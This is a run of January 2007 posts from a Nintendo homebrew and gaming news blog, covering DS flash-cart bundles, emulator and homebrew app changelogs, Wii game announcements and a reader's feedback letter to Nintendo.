With this card, you cabn turn your Nintendo DS into a fully-functioning web browser with the Nintendo DS Browser. Surf websites, check and send emails, bank and shop online. With the DS Browser you can connect wherever there is a wireless internet connection: at home, at a public Wi-Fi hotspot or at one of Nintendo's free Wi-Fi Connection hotspots located around the country.
The Nintendo DS Browser software is available in two different versions, one for the Nintendo DS Lite and one for the original Nintendo DS. The Nintendo DS Lite version is available from video game retailers.
The original Nintendo DS version is only available directly from Nintendo Australia for $A69.95 inc GST, with no additional charge for postage within Australia. Please contact Nintendo Customer Service on 03 9730 9822 Monday to Friday 9:00 am - 5:00pm EST for ordering information.
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January 20th, 2007, 11:05 Posted By: wraggster
via joystiq
Is the sight of some guy rotating a bottle with a Wii remote that exciting? Apparently so, because it ranked as the top gaming video on YouTube today. We don't have much to say about this, it's pretty boring to us. In fact, we enjoyed more the overused Wiimote / penis jokes in the comments section.
Video Here -->
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January 20th, 2007, 11:13 Posted By: wraggster
New bundle from Linkers4U.com
Product Features
100% clean rom support
inal DS Cart Size: Insert into DS Slot 1 without any stick out.
Boot from DS slot 1 directly: No more FlashMe/PassMe is needed!
Supports NDS and NDSL consoles
Bundle with Kingston 1GB microSD card
More Description
The SuperCard Team has been in the scene for a long time, and they have been working on developing new features in the past three years. With simple but practical functions, the SuperCard has gained great popularity in the gamer world. After a long period of research and development, the SuperCard Team has finally come up with a slot-1 solution, the SUPERCARD DS. Boosting many advanced features, and being easy to use, makes this ONE card that's a must have for any DS gamer.
Price is a Decent $60 approx 30 Pounds in UK Money
Buy from Linkers4U.com
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January 20th, 2007, 11:15 Posted By: wraggster
New bundle from Linkers4U.com
Product Features
Built-in RUMBLE system
Particular RUMBLE system, ALL GAME CAN BE RUMBLE
100% DS games compatibility with perfect save function.
High speed R/W system, support high speed flash memory card, without any slow down.
Bundle with Kingston 1GB microSD card
More Description
The SuperCard Lite RUMBLE (microSD) is a New revolutionary flash kit that uses a standard microSD memory card for its primary memory. MicroSD memory is relatively cheap and is normally used for equipment like digital cameras, but now you can use your microSD memory card for your Nintendo DS Lite!
New to the SuperCard is the Rumble Pak, have fun playing your games while your system shakes!
The SuperCard Lite RUMBLE (microSD) allows for more than just gaming. Now you can use watch movies, play music, browse pictures, read E-Books and more!
The price is a very reasonable USD 50.49 or about 25 pounds from Linkers4U.com
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January 20th, 2007, 11:28 Posted By: wraggster
Shash hs once again updated his blog with news about his DeSmuMe exploits - DS Emu for Windows:
As stated in the comments, I've not been feeling well for the past 10 days or so, so not much done related to coding/testing. I'm starting to feel better, so I'll be able to post screenshots of really new stuff, and not from the 1.5 months old 3D core :P
Anyway, as promised on comments, here are some screenshots (last two ones are personal choice, I just loved how the game looks):
As you can see, blending it's still not fixed: I don't know if I'll ever fix it in the current renderer, I've to rewrite some stuff from scratch, and that should fix almost all blending problems
Screens Via Comments
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January 20th, 2007, 11:32 Posted By: wraggster
via wired
Stop me if you've heard this one before: a writer pitches an idea to their editor, the editor approves, the writer starts to research it, and bam, an overlooked fact downs the whole thing. Such was the case with a post planned for earlier this week, entitled "No Wii Point Password Protection? Thanks a lot, Jerks." Then I discovered you can password protect those Wii Points, after all. Oops.
Turns out it's a rather simple process to boot:
1. Hit the Wii Options button in the lower left-hand corner of the Wii Menu and navigate to Wii Settings.
2. Click the arrow on the right side of the screen to bring up Page 2, choose Parental Controls.
3. Go through the process of creating a PIN and a secret question.
4. In Other Settings, select "Yes" when asked about restricting the use of Wii Points. Go ahead and limit use of Internet Channel, News Channel, and the highest gaming rating allowed if you're feeling adventurous.
Why any sane, childless person would bother with this after the jump.
The Wii Shop Channel doesn't retain credit card information on the server a la Sony and Microsoft, so there's no worries about fraudulent charges by other users. I'm also aware that many, like myself, only purchase Wii Points when there's something they actually want, the odd leftover sum typically not enough to buy a NES game.
But then Christmas came, and with it, a deluge of Wii Point Cards. Because I'm horrible at keeping track of flimsy plastic cards, I made sure to redeem them all right away, which left me with something like 800 million Wii Points on my account. And considering the Wii's popularity among drunken college students, well, I really don't want to come home and find out someone thought Urban Champion sounded like, so totally awesome, dude. Plus the more standing between me and the impulse purchase of yet another shooter, the better
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January 20th, 2007, 11:38 Posted By: wraggster
via wiifanboy
We love all sorts of game-related videos, from straight up footage to fan-made homages, but videos that blend several elements from pop culture are always fun. Continuing the theme from last week's dramatic look at Super Smash Brothers Brawl is a similar video, though much lighter in tone. This one features those super cute Elebits and music from Naruto.
Video here -->
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January 20th, 2007, 11:41 Posted By: wraggster
via ign
One of Capcom's most talented developers may have a chance to show his stuff on Nintendo's latest gaming machine, the Wii. Speaking with Japan's Gemaga, Keiji Inafune revealed that Capcom has an unannounced Wii title in development. He hopes to be able to show it this year.
Inafune most recently brought Xbox 360 owners Dead Rising and Lost Planet. Both were critical and commercial successes throughout the world, making interest in his future projects high.
His role on this new title is unknown. He may have direct involvement, or it may be just a general Capcom project.
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January 20th, 2007, 11:46 Posted By: wraggster
The latest ESRB ratings have come in, and with it a few more Wii surprises for the coming months. Though most of the titles hitting this list have already been previously confirmed, or were entirely expected by anyone with half a brain (Bonk's Revenge and Bonk III come to mind), we've snagged the latest set of rated Wii games for your snooping enjoyment.
ESRB Ratings for 1/19/07
Sproink - Windows PC/Wii, Rated E (21 Rocks, LLC)
Jewel Quest II - Windows PC/Wii, Rated E (21 Rocks, LLC)
Dragon's Curse - Wii, Rated E (Hudson)
Bonk's Revenge - Wii, Rated E (Hudson)
Bonk III - Bonk's Big Adventure - Wii, Rated E (Hudson)
Sonic and the Secret Rings - Wii, Rated E (SEGA)
Mario Party 8 - Wii, Rated E (Nintendo of America)
Xevious - Wii, Rated E (Namco Bandai)
via ign
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January 20th, 2007, 11:47 Posted By: wraggster
via ign
The Wii is already off to a rollicking success all across the world mostly thanks to strong first-party game offerings. Wii Sports and The Legend of Zelda Twilight Princess have been more than enough game to keep rabid Wii-ners satisfied up until now. Of course, all of that will change as we enter a lull in the release schedule approaching Spring 2007. Sure, Nintendo has a few first-party offerings slated to fill in the gaps, but the burden of supporting the system is going to fall on third-parties over next few months.
Enter EA. While the publishing giant has been known in the past to deliver lackluster ports to Nintendo systems -- much to the ire of diehard Nintendo fans -- its approach to Wii development has noticeably defied this trend. EA has seen fit to fill the lonely winter months of 2007 with some solid Wii-specific content. Although, EA has a slew of interesting games lined up to be released on the Wii, the premiere title among these is without a doubt SSX Blur.
SSX Blur is an exclusive Wii version of the popular snowboarding franchise. With SSX Blur, EA set out to combine the best aspects of older SSX games into one nice little package, neatly wrapped up with some solid Wiimote-controls. We recently got a chance to get our hands on a Wiimote and hit the slopes with SSX Blur, and we can state with some degree of certainty that it is a game to watch out for this spring.
Full article Here
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January 20th, 2007, 11:49 Posted By: wraggster
Sonic the Hedgehog is one of those franchises that gamers truly love, even while the individual games get consistently slammed in reviews. With the recent 3-D entries in the series, the overwhelming consensus is that Sonic has largely deviated from his 16-bit roots as a smack-talking speed demon. SEGA has added a whole cast of supporting characters to the mix, consequently placing the focus on timed platforming, combat, and exploration rather than on pure, unadulterated speed.
Sonic and the Secret Rings is the first Sonic title developed exclusively for the Wii. With this game, it is obvious that SEGA took all of these complaints about recent Sonic games to heart and devoted itself to creating a game that remained true to Sonic's roots, while at the same time making interesting use of the Wiimote. Sonic and the Secret Rings is set in an Arabian Nights-inspired setting, with Sonic and crew taking part in an epic quest, while tangling with mythical beasts and mysterious enemies. Of course, storyline has never been the strength of a Sonic game, and Sonic and the Secret Rings is absolutely no exception. While the storyline does serve to break up the level progression, it is far from being the focus of the game.
Full Article at IGN
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January 20th, 2007, 18:36 Posted By: wraggster
News from Divineo China
Dragon has just released 3 new cables for the Wii: AV Cable, S-Video Stereo Cable, and Component-AV cable at rock bottom prices as always with Dragon!
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January 20th, 2007, 18:42 Posted By: wraggster
via gizmodo
Yesterday in our Dealzmodo, we posted a link to a $40 Circuit City coupon, which could be used on a Wii if they were available this weekend. Then we saw this post on digg:
ADVERTISEMENT CORRECTION NOTICE
Circuit City is no longer participating in the AllConnect "Getting You Plugged In" Coupon Offers.
Because an error in production regarding limitations occurred, we had no choice but to expire this offer. We apologize for any convenience or disappointment this may cause you, our valued customer.
But the plot thickens within the digg comments (yes, I read comments)...
"Actually this is not Gizmodo's fault. Circuit City just changed the coupon. My boss and I are both looking for Wiis and I told him about it right away. He printed the coupon and then I went back to my desk to print mine. I saw the "excludes video game hardware" blurb and went to show him. He does not have that blurb. Both versions have the same serial number. Good thing we have a photocopy machine."
So not only was the coupon less-awesomefied by no longer applying to consoles, but later pulled completely (no longer applying to anything). Should companies be allowed to change offers in this manner...and is it me, or do retailers not take the online sector very seriously?
Naughty naughty methinks :P
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January 20th, 2007, 18:57 Posted By: wraggster
via joystiq
The bulls are humans and the people are the Wii -- go get 'em. It's no secret that attaining a Wii since Christmas has been far more difficult than originally anticipated. Anyway, between Gamestop's $50 Gamecube trade-in deal and the stockpiled Wiis at some retailers, expected to be "officially" announced in tomorrow's Sunday flyers, it might be a good idea to start getting a move on today and plan ahead to camp out if you're still trying to get the system. And, because Joystiq cares, please check your local weather report before camping. Please dress appropriately. The Wii is not worth dying for.
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January 20th, 2007, 19:03 Posted By: wraggster
New final release of the Script to play Virtua Tennis on your PC using your Wiimote Controller:
The final version of the Virtua Tennis Script is released !!!
The script is excellent !! Try it !!
Download : Here
Download Virtua Tennis PC Trial : Here
Download Instructions : Here
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January 20th, 2007, 19:13 Posted By: wraggster
MoonShell is a multimedia player for Nintendo DS (Lite) consoles. It has support for DPG video files, MP3/NSF audio files and viewing JPG/Jpeg/BMP/PNG (non progressive) files, it also has support for TXT textfiles. MoonShell supports dualscreens and it has full support for the touch screen. MoonShell has plug-in system that allows to add any compatible plug-in just by copying the plug-in files to the appropriate folder. MoonShell also comes with several kind of useful plug-ins.
Heres whats new in this out of Beta release:
Version 1.6 2007/01/19
.for Basic change.
Folder name '/shell' was changed to '/moonshl'.
Skin folder name '/shell' was changed to '/moonshl/skin'.
file name 'global.ini' was changed to 'moonshl.ini'.
All disk driver changed to DLDI.
.for Basic.
The MoonShell message supports the multi language.
When skin.ini is selected, it is skin reload.
Removed functions at 'IMFS/EXFS/GBFS file system interface'.
The system menu was added.
An environmental setting is revokable in NDS.
Simple binary viewer was added.
'The L/R button is locked' item was added to the system menu.
Restore when the last folder is remembered, and it will start next time.
The StartPath item was deleted from the [System] section of 'moonshl.ini'.
'Change backlight bright' was added to the system menu.
.for Plug-ins.
The bug to which the plug-in system had been doing an important violation of the memory access was corrected.
Supported to the MSE plug-in.
Supported to the MSPV50 (Sound effects) plug-in.
.for Image plug-ins.
Enabled interpolation processing ratio is '31%, 37%, 43%, 62%, 75%, 87%, 125% and over'. Ignored '25%, 50%, 100%'.
Update to 'libpng-1.2.14'.
The enhancing memory can be used by the PNG plug-in.
.for Audio plug-ins.
Update to 'Game_Music_Emu 0.5.2' for NSF/GBS/HES/AY/SAP/KSS.
The number of tracks of NSF version 2 can be acquired.
[GMEPlugin] section was added of global.ini.
Supported to the TTA plug-in.
Supported to the AAC plug-in. (Not practical level.)
The memory leak bug of the OGG plug-in was corrected.
.for Text plug-ins.
Supported encode type to UTF-8 and UTF-16LE and UTF-16BE.
Supported to English word wrap by the text plug-in.
The text plug-in can have displayed on both screens.
The text scroll lines count can be specified with the manual.
.for DPG.
The bug to which the memory access violation was done with DPG decoding was mended.
The number of file reading buffers of the DPG reproduction has been expanded.
The same name as DPG file. '.bmp/.jpg/.png' file was found. CreateThumbnail.exe makes the thumbnail.
Moreover, it was changed variously in a small point.
Download HERE
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January 20th, 2007, 19:19 Posted By: wraggster
New release from Firon
Heres the details:
DPGPlay is a player and demuxer for DPG0/1/2 files. It's Windows only, but this could be re-implemented pretty easily on Linux since what actually plays the video and audio is mplayer. Source is provided for both the program and the demuxer.
http://download.utorrent.com/DPGPlay_v3.0.7z
Changelog:
v3.0
-RGB21/15/18 being too dark is finally fixed.
-Can simulate how DPGs look on the DS's screen (check "Simulate DS")
Both options require AviSynth.
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January 20th, 2007, 19:27 Posted By: wraggster
More news from the CnCDS project.
The first units have rolled off a virtual production line! Still lot’s of work to be done but the basic mechanism is there I’ll work on buildings next and get the basics of their creation/placement down and then move on to the next area; combat!
I’ll have then at least touched all the fundamental parts of the game code; movement, building and combat. If I add a very simple AI it could make for a fun little demo of super-simplified C&C with a nice blocky abstract renderer
Note:
Just thought I’d explain the abstract renderer a little more. I’ve written the game code and the rendering code to be completely seperate. This allows me to use different renderers for the game. What I’m calling the abstract renderer is the one you can see in the screenshot a couple of posts back. I’ve written this renderer as a debug tool. It provides a simplified no-nonsense view of the game world and a bunch of debug info for me to work with. Eventually I’ll start to write the final renderer which will draw all the correct tiles and sprites and game interface you’d expect. Hopefully if I write it properly it will be possible to swap between renderers using a debug menu switch to change between debug and release game modes. Debugging features like this are really really important!
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January 20th, 2007, 19:29 Posted By: wraggster
Firmware update from the Supercard team, heres whats new:
Saver Size Database: Update to 0001-0818 (2007.01.20)
NOTE: Copy to the MiscoSD SHELL folder, replace the old one. This file can help system choose the correct "Saver Size", if new games are not in the database, you can choose the Saver Size by yourself.
SuperCard DS(ONE) Operation System: SuperCard DS(ONE) OS 0220 (2007.01.20)
Usage: Delete old "shell" folder and "MSFORSC.NDS" file, download the new 1229 firmware, unzip it and copy to "SCSHELL" folder and MSFORSC.NDS to the root of TFlash/MicroSD.
NOTE: SuperCard DS(ONE) has a micro firmware, user should download the SC DS(ONE) OS to the ROOT of the flash memory card before use it.
Download at Supercard site
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January 21st, 2007, 10:36 Posted By: scorpei
I've just released the review of the IcedCube, a full replacement shell for the Nintendo GameCube, that I made a while back. It took me some time to release it but here it is. I hope it will be useful for those interested in the GameCube scene. Read it here:
http://ngc.scorpei.com/IcedCube.html
Cheers,
Scorpei
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January 21st, 2007, 11:00 Posted By: wraggster
via joystiq
Fans of the Barcode Battler and Megaman/Rockman, rejoice! TakaraTomy and Capcom have teamed up to bring Rockman Star Force players this odd contraption. Launching in Japan next month at ¥4,200 (US$35 in Earth Money), the Wave Scanner connects to the DS and interacts with Rockman Star Force Pegasus, Leo and Dragon by scanning collectible Rockman cards, which can then be used in any of Star Force's three constellations. It knackers the DS' portability, of course, but we have a nostalgic yearning for tabletop gameplay opportunities. This could be our first big chance since Game & Watch died.
Screenshot Via Comments
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January 21st, 2007, 11:02 Posted By: wraggster
via joystiq
If you're depressed by recent tales of Wii-related death and injury, allow us to assuage your pain with a DS-related feel-good story from Japan (where else?). Kansai, Japan's Funky 802FM radio station yesterday interrupted its 24-hour funk regimen for DJ Mark'E (pictured) to make an important announcement: a stray Nintendo DS had been found in a park in Kyoto's Fushimi-ku ward. Some upstanding citizen had found the handheld and taken it to a nearby police box (they have "police boxes" in Japan), rightly assuming that a small child had dropped the DS. (This is a land where you can drop your wallet and expect it to be returned.)
Thanks to DJ Mark'E's repeated announcements, child and DS were reunited yesterday evening, tears were mopped, and this blogger was left wondering how the scenario would have played out in his native England. (Clue: no tears would have been mopped, but the finder would have celebrated with an exclamation of "bloody hell, what a freebie!") Three cheers, then, for Japanese citizens' sense of honour and stuff.
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January 21st, 2007, 11:09 Posted By: wraggster
The gba and partial DS emulator for windows has been updated with a new release:
Heres whats new:
gba/snd: snd_on_off 60h-81h non-writeable while disabled with optional warning
gba/snd: fixed snd_on_off (resets only 60h-81h, not 82h-83h) (thanks ludvig)
gba/help: described nr52/snd_on_off affected registers (60h-81h reset to zero)
gba/help: added noise random generator specs (gba psg channel 4, poly counter)
snap/sav: uses new "save_chunks" function (instead separate snapdat_write's)
snap/sav: RLU-encoder/decoder supports long-same regions (code 80h dta8 len16)
snap/sav-loader: re-allows old/smaller 64K sram/liff blocks (pre 128K flash)
snap/sav-loader: raised gba-max liff/sram_siz for to 128K (for new FLASH type)
snap/sav-loader: replaced fixed "liff/sram_siz" by variable "memsiz_sram/liff"
snap/sav-loader: skips unknown blocks by file-entry (rather by expected entry)
gba/help: new Backup IDs chapter (library ID strings, thanks pocketheaven faq)
gba/backup: detects 128kbyte FLASH backup (reportedly uses ID "FLASH1M_Vnnn")
gba/backup: emulates bankswitched 128kbyte FLASH backup memory (not tested)
gba/add-on: emulates gba solar sensor (currently fixed level) (boktai, momov)
gba/add-on: emulates gba-cart real time clock (rtc) (boktai, thanks momov)
gba/multiplay: refixed slave machine bios-loading (missing v2.2 mount_system)
nds/sound: precalculates sample rate timing (for some/minor emulation speedup)
nds/backup/help: added description of the new eeprom/flash/fram backup types
nds/backup: new: None, EEPROM 8K, EEPROM 64K, FLASH 256K, FLASH 512K, FRAM 32K
nds/3d: uses pixelformat with alpha (if supported, ie. not by generic driver)
nds/3d: above alpha untested - disabled by default - see setup: 3D Rear Alpha
nds/3d: added warning on 3D access with powcnt bit2-3 disabled (thanks anders)
nds/snd: fixed hang-up on uninitialized sound frequency (thanks damian yerrik)
nds/3d: loads opengl on any opengl-call (not only on swap buffers) (anders)
cpu/help: added notes on mis-aligned ldrd/strd (cpu memory alignments chapter)
cpu/detail: emulates mis-aligned ldrd/strd (clips lower 2 bits) (not 3 bits)
cpu/bugfix: fixed ldrd/strd bugged alignment warning (thanks anders norlander)
winxp/xboo: nocashio install bugfix: added "system32" in CreateService param
winxp: supports Alt+key combinations (VK_LMENU instead of unsupported VK_MENU)
internal: sorted/re-arranged nds variables (for future nds snapshot support)
setup: changed color/depth settings: re-applies nds_color_xlat (backlights)
web/paypal: fixed missing CRLF between "=" / "-----END PKC" (thanks francesco)
nds/directboot: puts nds7_bios_crc and user_settings_base in RAM (as by BIOS)
nds/3d: cleanup: unloads opengl library (if loaded) on exit
nds/3d: uses win31-style upside-down-images (required for nvidia geforce)
nds/help: new chapter on accessing gba-slot/gba-carts in ds-mode (clks/addr)
gba/help: new chapter on gba cart real time clock (rtc) (used in boktai)
gba/help: new chapter on gba cart solar sensor (boktai, thanks momov for cart)
gba/help: new chapter on gba cart rom-chip 4bit io port (used in boktai)
gba/help: added backup eeprom chip names 9853 (mario), and 9854 (boktai)
nds/directboot: stores RomChipID in RAM (as by BIOS) (verified by newer games)
nds/bugfix: hwreset memclear includes nds7 I/O region (older version didn't)
gba/help: added note on ZERO-padded titles in cart-header (eg. in boktai)
gba/help: fixed joybus entrypoint in gba-cart-header summary (E0h instead E4h)
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January 21st, 2007, 11:34 Posted By: wraggster
A new release of WiiCR has happenned today, heres the info and whats new:
WiiCR is a media player solution for the Nintendo Wii. It acts as a streaming media server and is capable of transcoding nearly any video file to a suitable flv for an embedded flash player. It allows browsing of the remote filesystem to view: videos (avi/xvid/divx/mpeg/wmv/etc), text files, jpg's and play mp3s.
0.3.1.7 released
Theme combo box defaults to current theme
WiinVi 0.8 (includes experimental irc support)
WiipaperMV 0.7
changed mencoder settings to vpb's (mine were slightly different) this should hopefully resolve vidplayback
Bug found in WiiCR config tool
Corrupts apache file by appending to rather than overwriting the file, will be fixed when Ed gets a chance.
WiinVi 0.8 released
Some random Tweaks
IRC Client [BETA]
Browse while listening to Music [BETA]
Download
WiiCR Configuration Tool 0.1 released written by EdKrayer
WiiCR Configuration Tool 0.1
Download Here --> http://wmc.sourceforge.net/wiki/index.php/WiiCR
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January 21st, 2007, 11:39 Posted By: wraggster
New release from Firon
DPGPlay is a player and demuxer for DPG0/1/2 files.
Enjoy. Overwrite all files if you have an old version.
http://download.utorrent.com/DPGPlay_v3.2.7z
Changelog:
v3.2
-Added aspect ratio support for monitors that aren't 4:3. Mplayer stretches the movie incorrectly if the monitor's AR is not set.
v3.1
-Videos now actually play all the way through (cut off early before).
Use AviSynth now requires AviSynth 2.5.7. 2.5.6 will not work.
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January 21st, 2007, 11:43 Posted By: wraggster
via siliconera
Bandai Namco Games is working on a Detective Conan game for the Nintendo DS called Detective Conan: Tantei Ka-Trainer (Detective Conan: Power Detective Trainer). Unlike the other Detective Conan games you’re not cracking cases. Instead Detective Conan: Tantei Ka-Trainer is a collection of brain teasing mini games. In one game you pick out the correct key to fit in a hole, another has Conan play rock-paper-scissors with a fellow junior detective and in another you pick out subjects from a line up. It’s probably not as exciting as solving cases, but there is a chance you might replay Detective Conan: Tantei Ka-Trainer again instead of leaving it on the shelf after you figure out the truth in the other Detective Conan games.
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January 21st, 2007, 11:53 Posted By: shadowprophet
Today I got bored and figured why not bug nintendo for a few minuets to relieve that boredom. So I sent them this email.
Dear Nintendo, I've written you before about the virtual console.
But that's not the point I wish to make this time.
I find myself at this moment with a stock pile of wii points and nothing to spend them on.
That's not to say there isn't a number of great games on the wii shop channel.
That's only to say I've bought all the games that I know I would love to play, and I look forward to future virtual console releases, in fact every monday I check the shop channel hourly to see if that weeks virtual console content has been released, What can I say. Im a huge retro fan.
However on to the criticism part. there are some games in the wii shop channel that interest me.
But for lack of better description and illustration, I find myself passing up those titles. Dungeon Explorer, Gunstar heroes, and Ristar come to mind.
Now I realize this is where this email is forwarded to someone in the virtual console department to give me a nice generic response with a personal touch to make me feel all warm and bubbly inside, followed by the pitch to join the Nsider forums and such.
But before you do that, Please consider that on standard definition televisions, while the (More Details) descriptions are pretty vague, the illustrations while adding some flavor are hard to view.
a magnification feature would be really nice in these areas along with more detailed descriptions.
And even though this isn't likely to happen, short videos of in game footage would be a welcome addition as well.
Now before this is disregarded as just a constructive view from a wii fan. Which it is.
Please consider that these features would be useful to help appeal to a wider rage of people with various eye sight conditions and even those who would like to know more information about the Game's they're about to take a chance on.
Regards, Shadowprophet.
Anyway. I should have a reply in about four or five days, and when it comes ill post it here as well.
As always feel free to
Leave feedback Via comments below.
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January 21st, 2007, 14:21 Posted By: wraggster
The Nomad team has released a new app for the Nintendo DS:
Heres whats featured:
Support of formats BMP, DIB, JPG, PNG, TGA and DDS
Support of modes 1, 2, 3, 4, 6 and 7
Visualization by forms 3d: Sphere, cubic, cylinder and cone
Ability of rotating these forms
Outline of the transparency and the levels of alpha
Panel of information of the image
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January 21st, 2007, 14:30 Posted By: wraggster
Oxtob has released a new version of DSMIDIWiFi, heres the details:
Updates everywhere! - 2007-01-17
libmidiwifi, the examples and the Linux server have been updated:
* libmidiwifi-v1.2 now broadcasts packets to the correct subnet, determined by the subnet mask.
* dsmidikeyboard-v1.0a, kaosds-v1.0a and pulseds-v1.0a were built with the new libmidiwifi and the latest wifilib, which should fix connection issues of newer DS Lites.
* DSMIDIWiFi for Linux v1.0a is now linked against glibc 2.3 (was 2.4 before), so it now works on Ubuntu breezy and some other older distros.
Download at Homepage
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January 21st, 2007, 14:39 Posted By: wraggster
News from Neoflash
the MK5 GIGA cart in stock now,start for sell !
MK5 final SPEC:
* Support clean rom,not need any patch,just need drag and drop
* Huge memory space,from 8Gbit upto 64Gbit
* USB 2.0 high-speed data transfer
* USB disk function, compatible with any operation system
* Build in the last moonshell V1.5 and upgradable
* Support homebrew
* Build in SMS multi save function,and auto save
* Menu upgradable,just need drag and drop the new core to MK5
* Multi rom support,media play support
* MK5 turbo engin, 100% full game running speed ,without any delay
* Build in passme function,can boot almost GBA flash cart perfectly
More Info
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January 21st, 2007, 14:44 Posted By: wraggster
News/release from Kiswa
Gameplay:
There is a game grid of 5x6 coins that each contain a letter. You will have 2 minutes (may change once I play test) to create a certain number of words from adjacent tiles. Each level will increase the number of words that must be created to get to the next level.
There will be 5 coin types. Bronze coins are standard scoring (Scrabble points*100), Silver coins will double the word score, Gold coins will triple word score. There are also penalty coins, Orange coins will halve word score, Red coins will quarter word score.
There will also be two bomb types. The 'standard bomb' will clear coins above, below, and on either side of the bomb. The 'mystery bomb' will clear the same, and change a random selection of coins to bonus/penalty coins.
Download:
This game doesn't work right in Dualis. I have tested on hardware, and it's fine (no$gba works okay too, but no sound).
While at the game grid screen, hit Start to return to the menu!
Word Bank 0.1a - Alpha: Instructions, Credits, Music, game grid setup - NO Gameplay yet ("Scramble" button works though)
More Info:
Seeing Word Up! by superpanic motivated me to get my game going, thanks superpanic!
Currently, Word Bank is in a pre-release Alpha stage. I have done most of the art design and the basic coding (no gameplay yet). I will post a screenshot or two when I get home from work.
If I can at least finish the tutorial tonight, I will post the Alpha for your opinions!
I am hoping to get some serious work done on it this weekend and may have a playable Beta available in the next few days. I will be very happy to get any constructive criticism to help me improve my game.
This is the first game I have ever programmed! Most of my programming has been limited to web apps, so keep that in mind when play testing (once I release a Beta).
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January 21st, 2007, 16:59 Posted By: wraggster
As we have already posted 2 or more firms are making Modchips for the Wii and theres a rumour that one is already at production stage.
Now for me installing a modchip in my Wii to play homebrew etc is a bridge too far for me, one because i cant solder and 2 because im too scared to stuff it up.
But if its the only way will you be tempted to install a modchip in your Wii.
ill be interested to see what the verdict is on this via comments.
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January 21st, 2007, 17:04 Posted By: wraggster
The Supercard teams release of their Slot 1 Flash cart and also their Rumble flash cart for the DS Lite Slot 2 has most likely given them the ultimate combo for the DS Lite, you have the Slot 1 with clean rom support and using the Slot 2 cart you have the rumble function and also full GBA compatability.
Anyone else share or disagree with this opinion?
Answer via Comments
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January 21st, 2007, 21:32 Posted By: wraggster
via joystiq
Order! Capcom's domestic version of the lawyer 'em up series we know as Phoenix Wright: Ace Attorney is being prepared for a fourth major stint in court. Two versions of Gyakuten Saiban 4 will be released simultaneously in Japan on April 12 -- one edition is not limited and costs ¥5,040 (US$42), while the other is limited and more pricey (¥9,240/US$76). Permit us to solve the mystery of their differences: the limited edition includes Gyakuten Saiban-branded headphones, a DS card entitled Gyakuten Saiban Dictionary, and a DVD that contains footage of animated highlights from all games in the series.
The Saiban Dictionary seems like it could be a useful tool, as it explains Japanese legalese (truly a complicated language) in some detail. The limited edition DVD even contains footage of last September's Gyakuten Saiban stage performance at the Tokyo Game Show. Now let's have an English version of this package, please, Capcom. The law is an ass -- we think Phoenix Wright kicks it.
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January 21st, 2007, 21:53 Posted By: wraggster
via shiftedlibrarian
a couple of libraries have already been experimenting with Wiis for gaming in the library, albeit more as a novelty since they're so new and you can't connect them for multiplayer gaming (at least not yet).
The Lafayette Public Library System in Louisiana held a tournament using their Gamecube, but Systems Administrator Adam Melancon also brought in his own Wii to let folks play with. He's already started thinking about best practices (for example, put an "x" on the floor using tape so that people know where to stand or else they tend to move about and run into things!). Flickr pictures here, with a newspaper article about their gaming program here. Adam even has Friends of the Library money to buy two Wiis, four Wiimotes (controllers), and two copies of "Excite Truck" for the Library if he can just get his hands on them.
It's not just libraries in the U.S., though. Earlier this month Edwin posted about Wiiplay in his library in the Netherlands and how popular gaming is in general there. The post is in Dutch, but Babelfish gives you the general idea in English (or other languages). He's also got some other fun Wii links in the post, too.
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January 21st, 2007, 22:06 Posted By: wraggster
via jeuxfrance
Heres the translation:
Nintendo diffuses some artworks as well as new images of Mario Party 8 on Wii in the Japanese magazine Famitsu. This new episode of the series will propose as with its practice a multitude of playable mini-plays with several, more than 70 on the whole (on a dozen different modes of play), and exploiting cavity well specificities of the controller of Wii. The announcer of Wiimote will be used besides to inform the player when is with him to play. Dimensioned gameplay, various powerups will be available and allow Mario and her friends to transform itself for example in the plane and even into vampire according to situations' during the parts. The exit of the play is planned for next March in Europe.
Screenshots Via Comments
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January 21st, 2007, 22:20 Posted By: wraggster
Noda posted this news on his site:
Just a quick note to say that the new version of my game has been submitted to the Drunken Coders Compo
It should be available in a few hours…
Here is the changelog:
- 20/01/2007 : v0.2 beta
= corrected the bug with the animation of some monsters
= corrected a bug which may occurs when selling a tower
= adjusted the pathfinder’s memory allocation: big maps should now work
= adjusted detection zone for build/cancel buttons
+ increased values range some parameters (life of the dragon in Spiral TD should now be correct)
+ spawn and end points are now displayed on the minimap
+ added preliminary Fatlib support
+ new map: Save The Snowman !
+ added some 3rd many maps to the package, thanks to their authors !
+ now the PAFS version can run on the DeSmuME emulator ! it’s now easier to test your maps created with the editor
Awesome news, we will have the release as soon as it becomes available.
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January 21st, 2007, 22:34 Posted By: wraggster
Alekmaul has released a new Thomson MO5 emulator for the DS.
Heres the translated info:
Here an emulator Thomson MO5 on the most nostalgic DS… Only as me can include/understand it why of such an emulator
All the detail of operation is in the file lisezmoi or readme…
History:
Version 1.0 of the 18/01/2007
* Initial version.
How to use the emulator:
* Keyboard with the stylet
* Pad of direction: arrow keys of the keyboard…
* A: Touches 0
* B: Button of shooting #2
* X: Touch SHIFT
* Y: Touch BASIC
* X + arrow keys: displacement of the screen when it is in zoom mode
* R: Touch D
* L: Touch 2
* START: Touch Entrée
* SELECT: Touch Espace
Other information:
Official site: http://www.portabledev.com
For information:
This version is delivered noncompatible with the linkers, one needs the patcher via DLDI .
Very large thank you with the authors of Mess, dcmo5, emul5, without them and information
given by their emulators, this version 1.0 would never have been carried out.
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January 21st, 2007, 22:40 Posted By: wraggster
New release of Comic Book DS with DLDI, heres the full whats new:
2.0Beta (21/01/2007):
Change PC: Adaptation to the new .cbds output (replaced .nds output with cbds output) Testing file is not available anymore. PAFS and .net not needed. New Layout.
New DS/PC: comicbookds.ini file generated with various settings allowing ComicBookDS customization. The different options are available through the pictods interface (User Settings).
New DS/PC: Title,author and provider associated with cbds files
New DS: Multiple Books visible in the same application. A new screen is added, allowing to choose your Book.
New DS: DLDI compatibility ( http://chishm.drunkencoders.com/DLDI/) More carts should be compatible.
New DS: The current Page number of the books can be saved.
New DS: No more 32 mb limit with the .cbds format (however big .cbds files may need more time to load)
New DS: Sound effects on user action (and at program start).
New DS: Previous zoom prev icon added (toggling with the No Zoom icon).
New DS: Pressing both the zoom in and out buttons toggles 'no zoom' 'prev zoom'.
New DS: Menu is navigable with keys.
New DS: Display of a loading animated icon during image load.
New DS: ComicBookDS icon (and appname) for the .nds file.
New DS: Key configuration (manually editing the ComicBookDS.ini file).
New DS: Icons locked by default.
BugFix DS: Memory fix (loading bigger images should be allowed).
BugFix DS: Icon display fixes (some were not replaced or removed)
New DS: Various small changes and bugfixes ...
New Web: Creation of http://cbds.free.fr/ to get some free cbds content.
